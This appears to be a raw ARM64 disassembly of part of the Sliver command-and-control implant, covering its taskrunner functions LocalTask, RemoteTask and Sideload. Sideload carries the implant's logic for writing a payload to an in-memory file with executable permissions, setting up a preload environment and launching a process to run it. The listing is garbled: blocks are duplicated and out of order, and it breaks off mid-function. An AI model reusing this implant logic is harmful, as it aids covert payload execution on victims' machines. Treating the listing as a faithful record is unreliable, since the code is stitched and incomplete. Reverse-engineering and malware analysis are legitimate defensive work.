00429d44ldr x1, [x26]
00429d48blr x1
00429d4cldur x29, [sp-8]
00429d50ldr x30, [sp], 48
00429d54ret x30
00429d58
00429d58loc_429d58:
00429d58mov x3, x30
00429d5cbl runtime.morestack.abi0
00429d60b 0x429d10
00429d64
00429d64loc_429d64:
00429d64ldr x17, [x16]
00429d68add x20, sp, 56
00429d6csubs xzr, x20, x17
00429d70b.ne 0x429d30
00429d74add x20, sp, 8
00429d78str x20, [x16]
00429d7cb 0x429d30
00429d10
00429d10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1(void)
00429d10ldr x16, [x28+16]
00429d14subs xzr, sp, x16
00429d18b.ls 0x429d58
00429d1cstr x30, [sp-48]!
00429d20stur x29, [sp-8]
00429d24sub x29, sp, 8
00429d28ldr x16, [x28+32]
00429d2ccbnz x16, 0x429d64
00429d30
00429d30loc_429d30:
00429d30ldr x1, [x26+8]
00429d34str x1, [sp+32]
00429d38ldr x0, [x26+16]
00429d3cstr x0, [sp+24]
00429d40ldr x26, [sp+32]
00429d44ldr x1, [x26]
00429d48blr x1
00429d4cldur x29, [sp-8]
00429d50ldr x30, [sp], 48
00429d54ret x30
00429d58
00429d58loc_429d58:
00429d58mov x3, x30
00429d5cbl runtime.morestack.abi0
00429d60b 0x429d10
00429d64
00429d64loc_429d64:
00429d64ldr x17, [x16]
00429d68add x20, sp, 56
00429d6csubs xzr, x20, x17
00429d70b.ne 0x429d30
00429d74add x20, sp, 8
00429d78str x20, [x16]
00429d7cb 0x429d30
00429d10
00429d80
00429d80github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask(int processID, struct []uint8 data, bool rwxPages)
00429d80str x30, [sp-32]!
00429d84stur x29, [sp-8]
00429d88sub x29, sp, 8
00429d8cstr x0, [sp+40]
00429d90str x1, [sp+48]
00429d94str x2, [sp+56]
00429d98str x3, [sp+64]
00429d9cstrb w4, [sp+72]
00429da0stp xzr, xzr, [sp+8]
00429da4stp xzr, xzr, [sp+8]
00429da8mov x0, xzr
00429dacmov x1, xzr
00429db0add x29, sp, 24
00429db4add sp, sp, 32
00429db8ret x30
00429dbcudf 0
00429d80
00429d80github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask(int processID, struct []uint8 data, bool rwxPages)
00429d80str x30, [sp-32]!
00429d84stur x29, [sp-8]
00429d88sub x29, sp, 8
00429d8cstr x0, [sp+40]
00429d90str x1, [sp+48]
00429d94str x2, [sp+56]
00429d98str x3, [sp+64]
00429d9cstrb w4, [sp+72]
00429da0stp xzr, xzr, [sp+8]
00429da4stp xzr, xzr, [sp+8]
00429da8mov x0, xzr
00429dacmov x1, xzr
00429db0add x29, sp, 24
00429db4add sp, sp, 32
00429db8ret x30
00429dbcudf 0
00429d80
00429dc0
00429dc0github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload(struct string procName, struct []string procArgs, uint32 p2, struct []uint8 data, struct []string args, bool kill)
00429dc0ldr x16, [x28+16]
00429dc4sub x17, sp, 912
00429dc8subs xzr, x17, x16
00429dccb.ls 0x42aa14
00429dd0sub x20, sp, 1040
00429dd4stp x29, x30, [x20-8]
00429dd8add sp, x20, 0
00429ddcsub x29, sp, 8
00429de0str x0, [sp+1048]
00429de4str x1, [sp+1056]
00429de8str x2, [sp+1064]
00429decstr x3, [sp+1072]
00429df0str x4, [sp+1080]
00429df4str w5, [sp+1088]
00429df8str x6, [sp+1096]
00429dfcstr x7, [sp+1104]
00429e00str x8, [sp+1112]
00429e04str x9, [sp+1120]
00429e08str x10, [sp+1128]
00429e0cstr x11, [sp+1136]
00429e10strb w12, [sp+1144]
00429e14stp xzr, xzr, [sp+160]
00429e18stp xzr, xzr, [sp+144]
00429e1cstr xzr, [sp+64]
00429e20adrp x0, 0x229000
00429e24add x0, x0, 2048
00429e28bl runtime.newobject
00429e2cstr x0, [sp+1016]
00429e30adrp x27, 0x622000
00429e34ldr w1, [x27+3056]
00429e38cbz w1, 0x429e40
00429e3cb 0x429e44
00429e40
00429e40loc_429e40:
00429e40b 0x429e60
00429e44
00429e44loc_429e44:
00429e44str x0, [sp+288]
00429e48mov x1, x0
00429e4cadrp x0, 0x229000
00429e50add x0, x0, 2048
00429e54bl runtime.wbZero
00429e58ldr x0, [sp+288]
00429e5cb 0x429e60
00429e60
00429e60loc_429e60:
00429e60stp xzr, xzr, [x0]
00429e64stp xzr, xzr, [x0+16]
00429e68str xzr, [x0+32]
00429e6cadrp x0, 0x229000
00429e70add x0, x0, 2048
00429e74bl runtime.newobject
00429e78str x0, [sp+1024]
00429e7cadrp x27, 0x622000
00429e80ldr w1, [x27+3056]
00429e84cbz w1, 0x429e8c
00429e88b 0x429e90
00429e8c
00429e8cloc_429e8c:
00429e8cb 0x429eac
00429e90
00429e90loc_429e90:
00429e90str x0, [sp+288]
00429e94mov x1, x0
00429e98adrp x0, 0x229000
00429e9cadd x0, x0, 2048
00429ea0bl runtime.wbZero
00429ea4ldr x0, [sp+288]
00429ea8b 0x429eac
00429eac
00429eacloc_429eac:
00429eacstp xzr, xzr, [x0]
00429eb0stp xzr, xzr, [x0+16]
00429eb4str xzr, [x0+32]
00429eb8adrp x0, 0x229000
00429ebcadd x0, x0, 128
00429ec0bl runtime.newobject
00429ec4str x0, [sp+1008]
00429ec8str xzr, [x0]
00429eccstr wzr, [x0+8]
00429ed0str xzr, [sp+280]
00429ed4orr x0, xzr, 8
00429ed8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString
00429edcstr x0, [sp+200]
00429ee0str x1, [sp+208]
00429ee4str xzr, [sp+952]
00429ee8add x27, sp, 936
00429eecstp xzr, xzr, [x27]
00429ef0ldr x0, [sp+200]
00429ef4ldr x1, [sp+208]
00429ef8bl syscall.BytePtrFromString
00429efcstr x0, [sp+952]
00429f00str x1, [sp+936]
00429f04str x2, [sp+944]
00429f08ldr x1, [sp+952]
00429f0cstr x1, [sp+1000]
00429f10ldr x1, [sp+936]
00429f14ldr x2, [sp+944]
00429f18str x1, [sp+984]
00429f1cstr x2, [sp+992]
00429f20ldr x1, [sp+1000]
00429f24str x1, [sp+216]
00429f28ldr x1, [sp+992]
00429f2cldr x2, [sp+984]
00429f30str x2, [sp+240]
00429f34str x1, [sp+248]
00429f38cbnz x2, 0x429f40
00429f3cb 0x42a01c
00429f40
00429f40loc_429f40:
00429f40add x27, sp, 920
00429f44stp xzr, xzr, [x27]
00429f48add x5, sp, 920
00429f4cstr x5, [sp+760]
00429f50ldr x5, [sp+240]
00429f54ldr x6, [sp+248]
00429f58str x5, [sp+744]
00429f5cstr x6, [sp+752]
00429f60str x5, [sp+736]
00429f64ldr x5, [sp+736]
00429f68cbnz x5, 0x429f70
00429f6cb 0x429f80
00429f70
00429f70loc_429f70:
00429f70ldr x5, [sp+736]
00429f74ldr x5, [x5+8]
00429f78str x5, [sp+736]
00429f7cb 0x429f84
00429f80
00429f80loc_429f80:
00429f80b 0x429f84
00429f84
00429f84loc_429f84:
00429f84ldr x5, [sp+760]
00429f88ldrsb x27, [x5]
00429f8cldr x6, [sp+752]
00429f90ldr x7, [sp+736]
00429f94str x7, [x5]
00429f98adrp x27, 0x622000
00429f9cldr w7, [x27+3056]
00429fa0cbz w7, 0x429fa8
00429fa4b 0x429fac
00429fa8
00429fa8loc_429fa8:
00429fa8b 0x429fc0
00429fac
00429facloc_429fac:
00429facbl runtime.gcWriteBarrier2
00429fb0str x6, [x25]
00429fb4ldr x7, [x5+8]
00429fb8str x7, [x25+8]
00429fbcb 0x429fc0
00429fc0
00429fc0loc_429fc0:
00429fc0str x6, [x5+8]
00429fc4ldr x2, [sp+760]
00429fc8ldrsb x27, [x2]
00429fccb 0x429fd0
00429fd0
00429fd0loc_429fd0:
00429fd0str x2, [sp+768]
00429fd4orr x4, xzr, 1
00429fd8str x4, [sp+776]
00429fdcstr x4, [sp+784]
00429fe0adrp x0, 0x292000
00429fe4add x0, x0, 2620
00429fe8orr x1, xzr, 28
00429fecmov x3, x4
00429ff0bl log.Printf
00429ff4stp xzr, xzr, [sp+160]
00429ff8ldr x3, [sp+248]
00429ffcldr x2, [sp+240]
0042a000str x2, [sp+144]
0042a004str x3, [sp+152]
0042a008ldr x0, [sp+160]
0042a00cldr x1, [sp+168]
0042a010ldp x29, x30, [sp-8]
0042a014add sp, sp, 1040
0042a018ret x30
0042a01c
0042a01cloc_42a01c:
0042a01cmovz x4, 319
0042a020str x4, [sp+64]
0042a024ldr x4, [sp+216]
0042a028str x4, [sp+960]
0042a02cldr x0, [sp+64]
0042a030ldr x1, [sp+960]
0042a034orr x2, xzr, 1
0042a038mov x3, xzr
0042a03cbl syscall.Syscall
0042a040str x0, [sp+112]
0042a044str x1, [sp+104]
0042a048str x2, [sp+96]
0042a04cstr x0, [sp+136]
0042a050str x1, [sp+128]
0042a054str x2, [sp+120]
0042a058str x0, [sp+72]
0042a05cbl os.Getpid
0042a060str x0, [sp+56]
0042a064add x27, sp, 888
0042a068stp xzr, xzr, [x27]
0042a06cadd x27, sp, 904
0042a070stp xzr, xzr, [x27]
0042a074add x4, sp, 888
0042a078str x4, [sp+704]
0042a07cldr x0, [sp+56]
0042a080bl runtime.convT64
0042a084str x0, [sp+696]
0042a088ldr x4, [sp+704]
0042a08cldrsb x27, [x4]
0042a090adrp x5, 0x1cb000
0042a094add x5, x5, 3520
0042a098str x5, [x4]
0042a09cadrp x27, 0x621000
0042a0a0ldr w5, [x27+3056]
0042a0a4cbz w5, 0x42a0ac
0042a0a8b 0x42a0b0
0042a0ac
0042a0acloc_42a0ac:
0042a0acb 0x42a0c4
0042a0b0
0042a0b0loc_42a0b0:
0042a0b0bl runtime.gcWriteBarrier2
0042a0b4str x0, [x25]
0042a0b8ldr x1, [x4+8]
0042a0bcstr x1, [x25+8]
0042a0c0b 0x42a0c4
0042a0c4
0042a0c4loc_42a0c4:
0042a0c4str x0, [x4+8]
0042a0c8ldr x0, [sp+72]
0042a0ccbl runtime.convT64
0042a0d0str x0, [sp+688]
0042a0d4ldr x1, [sp+704]
0042a0d8ldrsb x27, [x1]
0042a0dcadrp x2, 0x1cb000
0042a0e0add x2, x2, 3648
0042a0e4str x2, [x1+16]
0042a0e8adrp x27, 0x621000
0042a0ecldr w2, [x27+3056]
0042a0f0cbz w2, 0x42a0f8
0042a0f4b 0x42a0fc
0042a0f8
0042a0f8loc_42a0f8:
0042a0f8b 0x42a110
0042a0fc
0042a0fcloc_42a0fc:
0042a0fcbl runtime.gcWriteBarrier2
0042a100str x0, [x25]
0042a104ldr x5, [x1+24]
0042a108str x5, [x25+8]
0042a10cb 0x42a110
0042a110
0042a110loc_42a110:
0042a110str x0, [x1+24]
0042a114ldr x2, [sp+704]
0042a118ldrsb x27, [x2]
0042a11cb 0x42a120
0042a120
0042a120loc_42a120:
0042a120str x2, [sp+712]
0042a124orr x4, xzr, 2
0042a128str x4, [sp+720]
0042a12cstr x4, [sp+728]
0042a130adrp x0, 0x289000
0042a134add x0, x0, 3542
0042a138orr x1, xzr, 14
0042a13cmov x3, x4
0042a140bl fmt.Sprintf
0042a144str x0, [sp+224]
0042a148str x1, [sp+232]
0042a14cldr x3, [sp+1104]
0042a150ldr x4, [sp+1112]
0042a154ldr x2, [sp+1096]
0042a158movz x5, 493
0042a15cbl os.WriteFile
0042a160str x0, [sp+240]
0042a164str x1, [sp+248]
0042a168cbnz x0, 0x42a170
0042a16cb 0x42a24c
0042a170
0042a170loc_42a170:
0042a170add x27, sp, 920
0042a174stp xzr, xzr, [x27]
0042a178add x5, sp, 920
0042a17cstr x5, [sp+656]
0042a180ldr x5, [sp+240]
0042a184ldr x6, [sp+248]
0042a188str x5, [sp+640]
0042a18cstr x6, [sp+648]
0042a190str x5, [sp+632]
0042a194ldr x5, [sp+632]
0042a198cbnz x5, 0x42a1a0
0042a19cb 0x42a1b0
0042a1a0
0042a1a0loc_42a1a0:
0042a1a0ldr x5, [sp+632]
0042a1a4ldr x5, [x5+8]
0042a1a8str x5, [sp+632]
0042a1acb 0x42a1b4
0042a1b0
0042a1b0loc_42a1b0:
0042a1b0b 0x42a1b4
0042a1b4
0042a1b4loc_42a1b4:
0042a1b4ldr x5, [sp+656]
0042a1b8ldrsb x27, [x5]
0042a1bcldr x6, [sp+632]
0042a1c0ldr x7, [sp+648]
0042a1c4str x6, [x5]
0042a1c8adrp x27, 0x621000
0042a1ccldr w6, [x27+3056]
0042a1d0cbz w6, 0x42a1d8
0042a1d4b 0x42a1dc
0042a1d8
0042a1d8loc_42a1d8:
0042a1d8b 0x42a1f0
0042a1dc
0042a1dcloc_42a1dc:
0042a1dcbl runtime.gcWriteBarrier2
0042a1e0str x7, [x25]
0042a1e4ldr x6, [x5+8]
0042a1e8str x6, [x25+8]
0042a1ecb 0x42a1f0
0042a1f0
0042a1f0loc_42a1f0:
0042a1f0str x7, [x5+8]
0042a1f4ldr x2, [sp+656]
0042a1f8ldrsb x27, [x2]
0042a1fcb 0x42a200
0042a200
0042a200loc_42a200:
0042a200str x2, [sp+664]
0042a204orr x4, xzr, 1
0042a208str x4, [sp+672]
0042a20cstr x4, [sp+680]
0042a210adrp x0, 0x294000
0042a214add x0, x0, 2288
0042a218orr x1, xzr, 32
0042a21cmov x3, x4
0042a220bl log.Printf
0042a224stp xzr, xzr, [sp+160]
0042a228ldr x3, [sp+248]
0042a22cldr x2, [sp+240]
0042a230str x2, [sp+144]
0042a234str x3, [sp+152]
0042a238ldr x0, [sp+160]
0042a23cldr x1, [sp+168]
0042a240ldp x29, x30, [sp-8]
0042a244add sp, sp, 1040
0042a248ret x30
0042a24c
0042a24cloc_42a24c:
0042a24cadd x27, sp, 920
0042a250stp xzr, xzr, [x27]
0042a254add x2, sp, 920
0042a258str x2, [sp+600]
0042a25cldr x0, [sp+224]
0042a260ldr x1, [sp+232]
0042a264bl runtime.convTstring
0042a268str x0, [sp+592]
0042a26cldr x2, [sp+600]
0042a270ldrsb x27, [x2]
0042a274adrp x3, 0x1cb000
0042a278add x3, x3, 2944
0042a27cstr x3, [x2]
0042a280adrp x27, 0x621000
0042a284ldr w3, [x27+3056]
0042a288cbz w3, 0x42a290
0042a28cb 0x42a294
0042a290
0042a290loc_42a290:
0042a290b 0x42a2a8
0042a294
0042a294loc_42a294:
0042a294bl runtime.gcWriteBarrier2
0042a298str x0, [x25]
0042a29cldr x5, [x2+8]
0042a2a0str x5, [x25+8]
0042a2a4b 0x42a2a8
0042a2a8
0042a2a8loc_42a2a8:
0042a2a8str x0, [x2+8]
0042a2acldr x2, [sp+600]
0042a2b0ldrsb x27, [x2]
0042a2b4b 0x42a2b8
0042a2b8
0042a2b8loc_42a2b8:
0042a2b8str x2, [sp+608]
0042a2bcorr x4, xzr, 1
0042a2c0str x4, [sp+616]
0042a2c4str x4, [sp+624]
0042a2c8adrp x0, 0x28c000
0042a2ccadd x0, x0, 1175
0042a2d0movz x1, 19
0042a2d4mov x3, x4
0042a2d8bl log.Printf
0042a2dcbl os.Environ
0042a2e0str x0, [sp+256]
0042a2e4str x1, [sp+264]
0042a2e8str x2, [sp+272]
0042a2ecldr x0, [sp+1120]
0042a2f0ldr x1, [sp+1128]
0042a2f4ldr x2, [sp+1136]
0042a2f8adrp x3, 0x2e6000
0042a2fcadd x3, x3, 3072
0042a300orr x4, xzr, 1
0042a304bl strings.Join
0042a308str x0, [sp+872]
0042a30cstr x1, [sp+880]
0042a310add x27, sp, 920
0042a314stp xzr, xzr, [x27]
0042a318add x5, sp, 920
0042a31cstr x5, [sp+560]
0042a320ldr x0, [sp+872]
0042a324ldr x1, [sp+880]
0042a328bl runtime.convTstring
0042a32cstr x0, [sp+552]
0042a330ldr x5, [sp+560]
0042a334ldrsb x27, [x5]
0042a338adrp x6, 0x1cb000
0042a33cadd x6, x6, 2944
0042a340str x6, [x5]
0042a344adrp x27, 0x621000
0042a348ldr w6, [x27+3056]
0042a34ccbz w6, 0x42a354
0042a350b 0x42a358
0042a354
0042a354loc_42a354:
0042a354b 0x42a36c
0042a358
0042a358loc_42a358:
0042a358bl runtime.gcWriteBarrier2
0042a35cstr x0, [x25]
0042a360ldr x6, [x5+8]
0042a364str x6, [x25+8]
0042a368b 0x42a36c
0042a36c
0042a36cloc_42a36c:
0042a36cstr x0, [x5+8]
0042a370ldr x2, [sp+560]
0042a374ldrsb x27, [x2]
0042a378b 0x42a37c
0042a37c
0042a37cloc_42a37c:
0042a37cstr x2, [sp+568]
0042a380orr x4, xzr, 1
0042a384str x4, [sp+576]
0042a388str x4, [sp+584]
0042a38cadrp x0, 0x289000
0042a390add x0, x0, 552
0042a394orr x1, xzr, 12
0042a398mov x3, x4
0042a39cbl fmt.Sprintf
0042a3a0str x0, [sp+856]
0042a3a4str x1, [sp+864]
0042a3a8add x27, sp, 840
0042a3acstp xzr, xzr, [x27]
0042a3b0add x5, sp, 840
0042a3b4str x5, [sp+520]
0042a3b8ldr x0, [sp+224]
0042a3bcldr x1, [sp+232]
0042a3c0bl runtime.convTstring
0042a3c4str x0, [sp+512]
0042a3c8ldr x5, [sp+520]
0042a3ccldrsb x27, [x5]
0042a3d0adrp x6, 0x1cb000
0042a3d4add x6, x6, 2944
0042a3d8str x6, [x5]
0042a3dcadrp x27, 0x621000
0042a3e0ldr w6, [x27+3056]
0042a3e4cbz w6, 0x42a3ec
0042a3e8b 0x42a3f0
0042a3ec
0042a3ecloc_42a3ec:
0042a3ecb 0x42a404
0042a3f0
0042a3f0loc_42a3f0:
0042a3f0bl runtime.gcWriteBarrier2
0042a3f4str x0, [x25]
0042a3f8ldr x6, [x5+8]
0042a3fcstr x6, [x25+8]
0042a400b 0x42a404
0042a404
0042a404loc_42a404:
0042a404str x0, [x5+8]
0042a408ldr x2, [sp+520]
0042a40cldrsb x27, [x2]
0042a410b 0x42a414
0042a414
0042a414loc_42a414:
0042a414str x2, [sp+528]
0042a418orr x4, xzr, 1
0042a41cstr x4, [sp+536]
0042a420str x4, [sp+544]
0042a424adrp x0, 0x289000
0042a428add x0, x0, 2226
0042a42cmovz x1, 13
0042a430mov x3, x4
0042a434bl fmt.Sprintf
0042a438str x0, [sp+824]
0042a43cstr x1, [sp+832]
0042a440stp xzr, xzr, [sp+472]
0042a444stp xzr, xzr, [sp+488]
0042a448add x5, sp, 472
0042a44cstr x5, [sp+504]
0042a450ldrsb x27, [x5]
0042a454ldr x6, [sp+856]
0042a458ldr x7, [sp+864]
0042a45cstr x7, [x5+8]
0042a460adrp x27, 0x621000
0042a464ldr w7, [x27+3056]
0042a468cbz w7, 0x42a470
0042a46cb 0x42a474
0042a470
0042a470loc_42a470:
0042a470b 0x42a488
0042a474
0042a474loc_42a474:
0042a474bl runtime.gcWriteBarrier2
0042a478str x6, [x25]
0042a47cldr x7, [x5]
0042a480str x7, [x25+8]
0042a484b 0x42a488
0042a488
0042a488loc_42a488:
0042a488str x6, [x5]
0042a48cldrsb x27, [x5]
0042a490ldr x6, [sp+824]
0042a494ldr x7, [sp+832]
0042a498str x7, [x5+24]
0042a49cadrp x27, 0x621000
0042a4a0ldr w7, [x27+3056]
0042a4a4cbz w7, 0x42a4ac
0042a4a8b 0x42a4b0
0042a4ac
0042a4acloc_42a4ac:
0042a4acb 0x42a4c4
0042a4b0
0042a4b0loc_42a4b0:
0042a4b0bl runtime.gcWriteBarrier2
0042a4b4str x6, [x25]
0042a4b8ldr x7, [x5+16]
0042a4bcstr x7, [x25+8]
0042a4c0b 0x42a4c4
0042a4c4
0042a4c4loc_42a4c4:
0042a4c4str x6, [x5+16]
0042a4c8ldr x5, [sp+504]
0042a4ccldrsb x27, [x5]
0042a4d0b 0x42a4d4
0042a4d4
0042a4d4loc_42a4d4:
0042a4d4str x5, [sp+176]
0042a4d8orr x5, xzr, 2
0042a4dcstr x5, [sp+184]
0042a4e0str x5, [sp+192]
0042a4e4ldr x2, [sp+272]
0042a4e8ldr x0, [sp+256]
0042a4ecldr x5, [sp+264]
0042a4f0str x0, [sp+448]
0042a4f4str x5, [sp+456]
0042a4f8str x2, [sp+464]
0042a4fcldr x6, [sp+184]
0042a500add x1, x5, x6
0042a504str x1, [sp+80]
0042a508subs xzr, x2, x1
0042a50cb.hs 0x42a514
0042a510b 0x42a51c
0042a514
0042a514loc_42a514:
0042a514str x1, [sp+456]
0042a518b 0x42a53c
0042a51c
0042a51cloc_42a51c:
0042a51cldr x3, [sp+184]
0042a520adrp x4, 0x1cb000
0042a524add x4, x4, 2944
0042a528bl runtime.growslice
0042a52cstr x0, [sp+448]
0042a530str x1, [sp+456]
0042a534str x2, [sp+464]
0042a538b 0x42a53c
0042a53c
0042a53cloc_42a53c:
0042a53cldr x5, [sp+80]
0042a540ldr x6, [sp+184]
0042a544sub x7, x5, x6
0042a548ubfm x7, x7, 60, 59
0042a54cldr x8, [sp+448]
0042a550ldr x9, [sp+456]
0042a554add x9, x9, x6
0042a558sub x2, x9, x5
0042a55cldr x9, [sp+464]
0042a560add x6, x9, x6
0042a564sub x5, x6, x5
0042a568sub x6, xzr, x5
0042a56cand x6, x7, x6, asr #63
0042a570add x1, x8, x6
0042a574str x1, [sp+424]
0042a578str x2, [sp+432]
0042a57cstr x5, [sp+440]
0042a580ldr x3, [sp+176]
0042a584ldr x4, [sp+184]
0042a588adrp x0, 0x1cb000
0042a58cadd x0, x0, 2944
0042a590bl runtime.typedslicecopy
0042a594ldr x5, [sp+448]
0042a598ldr x6, [sp+456]
0042a59cldr x7, [sp+464]
0042a5a0str x5, [sp+256]
0042a5a4str x6, [sp+264]
0042a5a8str x7, [sp+272]
0042a5acldr x5, [sp+1072]
0042a5b0str x5, [sp+88]
0042a5b4cbnz x5, 0x42a5bc
0042a5b8b 0x42a5dc
0042a5bc
0042a5bcloc_42a5bc:
0042a5bcldr x0, [sp+1048]
0042a5c0ldr x2, [sp+1064]
0042a5c4ldr x1, [sp+1056]
0042a5c8ldr x3, [sp+1072]
0042a5ccldr x4, [sp+1080]
0042a5d0bl os/exec.Command
0042a5d4str x0, [sp+280]
0042a5d8b 0x42a5fc
0042a5dc
0042a5dcloc_42a5dc:
0042a5dcldr x0, [sp+1048]
0042a5e0ldr x1, [sp+1056]
0042a5e4mov x2, xzr
0042a5e8mov x3, xzr
0042a5ecmov x4, x3
0042a5f0bl os/exec.Command
0042a5f4str x0, [sp+280]
0042a5f8b 0x42a5fc
0042a5fc
0042a5fcloc_42a5fc:
0042a5fcldr x1, [sp+280]
0042a600ldrsb x27, [x1]
0042a604ldr x2, [sp+256]
0042a608ldr x3, [sp+264]
0042a60cldr x4, [sp+272]
0042a610str x3, [x1+48]
0042a614str x4, [x1+56]
0042a618adrp x27, 0x621000
0042a61cldr w3, [x27+3056]
0042a620cbz w3, 0x42a628
0042a624b 0x42a62c
0042a628
0042a628loc_42a628:
0042a628b 0x42a640
0042a62c
0042a62cloc_42a62c:
0042a62cbl runtime.gcWriteBarrier2
0042a630str x2, [x25]
0042a634ldr x3, [x1+40]
0042a638str x3, [x25+8]
0042a63cb 0x42a640
0042a640
0042a640loc_42a640:
0042a640str x2, [x1+40]
0042a644ldr x1, [sp+1016]
0042a648str x1, [sp+816]
0042a64cldr x2, [sp+280]
0042a650ldrsb x27, [x2]
0042a654adrp x3, 0x2e9000
0042a658add x3, x3, 2976
0042a65cstr x3, [x2+96]
0042a660adrp x27, 0x621000
0042a664ldr w3, [x27+3056]
0042a668cbz w3, 0x42a670
0042a66cb 0x42a674
0042a670
0042a670loc_42a670:
0042a670b 0x42a688
0042a674
0042a674loc_42a674:
0042a674bl runtime.gcWriteBarrier2
0042a678str x1, [x25]
0042a67cldr x3, [x2+104]
0042a680str x3, [x25+8]
0042a684b 0x42a688
0042a688
0042a688loc_42a688:
0042a688str x1, [x2+104]
0042a68cldr x1, [sp+1024]
0042a690str x1, [sp+816]
0042a694ldr x2, [sp+280]
0042a698ldrsb x27, [x2]
0042a69cadrp x3, 0x2e9000
0042a6a0add x3, x3, 2976
0042a6a4str x3, [x2+112]
0042a6a8adrp x27, 0x621000
0042a6acldr w3, [x27+3056]
0042a6b0cbz w3, 0x42a6b8
0042a6b4b 0x42a6bc
0042a6b8
0042a6b8loc_42a6b8:
0042a6b8b 0x42a6d0
0042a6bc
0042a6bcloc_42a6bc:
0042a6bcbl runtime.gcWriteBarrier2
0042a6c0str x1, [x25]
0042a6c4ldr x3, [x2+120]
0042a6c8str x3, [x25+8]
0042a6ccb 0x42a6d0
0042a6d0
0042a6d0loc_42a6d0:
0042a6d0str x1, [x2+120]
0042a6d4ldr x0, [sp+280]
0042a6d8bl os/exec.(*Cmd).String
0042a6dcstr x0, [sp+824]
0042a6e0str x1, [sp+832]
0042a6e4add x27, sp, 840
0042a6e8stp xzr, xzr, [x27]
0042a6ecadd x1, sp, 840
0042a6f0str x1, [sp+392]
0042a6f4ldr x0, [sp+824]
0042a6f8ldr x1, [sp+832]
0042a6fcbl runtime.convTstring
0042a700str x0, [sp+384]
0042a704ldr x1, [sp+392]
0042a708ldrsb x27, [x1]
0042a70cadrp x2, 0x1cb000
0042a710add x2, x2, 2944
0042a714str x2, [x1]
0042a718adrp x27, 0x621000
0042a71cldr w2, [x27+3056]
0042a720cbz w2, 0x42a728
0042a724b 0x42a72c
0042a728
0042a728loc_42a728:
0042a728b 0x42a740
0042a72c
0042a72cloc_42a72c:
0042a72cbl runtime.gcWriteBarrier2
0042a730str x0, [x25]
0042a734ldr x5, [x1+8]
0042a738str x5, [x25+8]
0042a73cb 0x42a740
0042a740
0042a740loc_42a740:
0042a740str x0, [x1+8]
0042a744ldr x2, [sp+392]
0042a748ldrsb x27, [x2]
0042a74cb 0x42a750
0042a750
0042a750loc_42a750:
0042a750str x2, [sp+400]
0042a754orr x4, xzr, 1
0042a758str x4, [sp+408]
0042a75cstr x4, [sp+416]
0042a760adrp x0, 0x289000
0042a764add x0, x0, 564
0042a768orr x1, xzr, 12
0042a76cmov x3, x4
0042a770bl log.Printf
0042a774ldr x0, [sp+1008]
0042a778orr x1, xzr, 1
0042a77cbl sync.(*WaitGroup).Add
0042a780ldr x5, [sp+280]
0042a784str x5, [sp+976]
0042a788ldr x5, [sp+1008]
0042a78cstr x5, [sp+968]
0042a790adrp x0, 0x222000
0042a794add x0, x0, 960
0042a798bl runtime.newobject
0042a79cstr x0, [sp+376]
0042a7a0adrp x5, 0
0042a7a4add x5, x5, 2656
0042a7a8str x5, [x0]
0042a7acldr x5, [sp+976]
0042a7b0ldr x6, [sp+376]
0042a7b4ldrsb x27, [x6]
0042a7b8adrp x27, 0x621000
0042a7bcldr w7, [x27+3056]
0042a7c0cbz w7, 0x42a7c8
0042a7c4b 0x42a7cc
0042a7c8
0042a7c8loc_42a7c8:
0042a7c8b 0x42a7e0
0042a7cc
0042a7ccloc_42a7cc:
0042a7ccbl runtime.gcWriteBarrier2
0042a7d0str x5, [x25]
0042a7d4ldr x1, [x6+8]
0042a7d8str x1, [x25+8]
0042a7dcb 0x42a7e0
0042a7e0
0042a7e0loc_42a7e0:
0042a7e0str x5, [x6+8]
0042a7e4ldr x1, [sp+968]
0042a7e8ldr x2, [sp+376]
0042a7ecldrsb x27, [x2]
0042a7f0adrp x27, 0x621000
0042a7f4ldr w3, [x27+3056]
0042a7f8cbz w3, 0x42a800
0042a7fcb 0x42a804
0042a800
0042a800loc_42a800:
0042a800b 0x42a818
0042a804
0042a804loc_42a804:
0042a804bl runtime.gcWriteBarrier2
0042a808str x1, [x25]
0042a80cldr x3, [x2+16]
0042a810str x3, [x25+8]
0042a814b 0x42a818
0042a818
0042a818loc_42a818:
0042a818str x1, [x2+16]
0042a81cldr x0, [sp+376]
0042a820bl runtime.newproc
0042a824ldr x0, [sp+1008]
0042a828bl sync.(*WaitGroup).Wait
0042a82cldr x0, [sp+1024]
0042a830bl bytes.(*Buffer).Bytes
0042a834str x0, [sp+792]
0042a838str x1, [sp+800]
0042a83cstr x2, [sp+808]
0042a840str x1, [sp+88]
0042a844cbnz x1, 0x42a84c
0042a848b 0x42a89c
0042a84c
0042a84cloc_42a84c:
0042a84cldr x0, [sp+1024]
0042a850bl bytes.(*Buffer).String
0042a854str x0, [sp+824]
0042a858str x1, [sp+832]
0042a85cmov x2, xzr
0042a860mov x3, xzr
0042a864mov x4, x3
0042a868bl fmt.Errorf
0042a86cstr x0, [sp+936]
0042a870str x1, [sp+944]
0042a874stp xzr, xzr, [sp+160]
0042a878ldr x2, [sp+936]
0042a87cldr x3, [sp+944]
0042a880str x2, [sp+144]
0042a884str x3, [sp+152]
0042a888ldr x0, [sp+160]
0042a88cldr x1, [sp+168]
0042a890ldp x29, x30, [sp-8]
0042a894add sp, sp, 1040
0042a898ret x30
0042a89c
0042a89cloc_42a89c:
0042a89cldr x0, [sp+1016]
0042a8a0bl bytes.(*Buffer).String
0042a8a4str x0, [sp+824]
0042a8a8str x1, [sp+832]
0042a8acadd x27, sp, 840
0042a8b0stp xzr, xzr, [x27]
0042a8b4add x1, sp, 840
0042a8b8str x1, [sp+344]
0042a8bcldr x0, [sp+824]
0042a8c0ldr x1, [sp+832]
0042a8c4bl runtime.convTstring
0042a8c8str x0, [sp+336]
0042a8ccldr x1, [sp+344]
0042a8d0ldrsb x27, [x1]
0042a8d4adrp x2, 0x1cb000
0042a8d8add x2, x2, 2944
0042a8dcstr x2, [x1]
0042a8e0adrp x27, 0x621000
0042a8e4ldr w2, [x27+3056]
0042a8e8cbz w2, 0x42a8f0
0042a8ecb 0x42a8f4
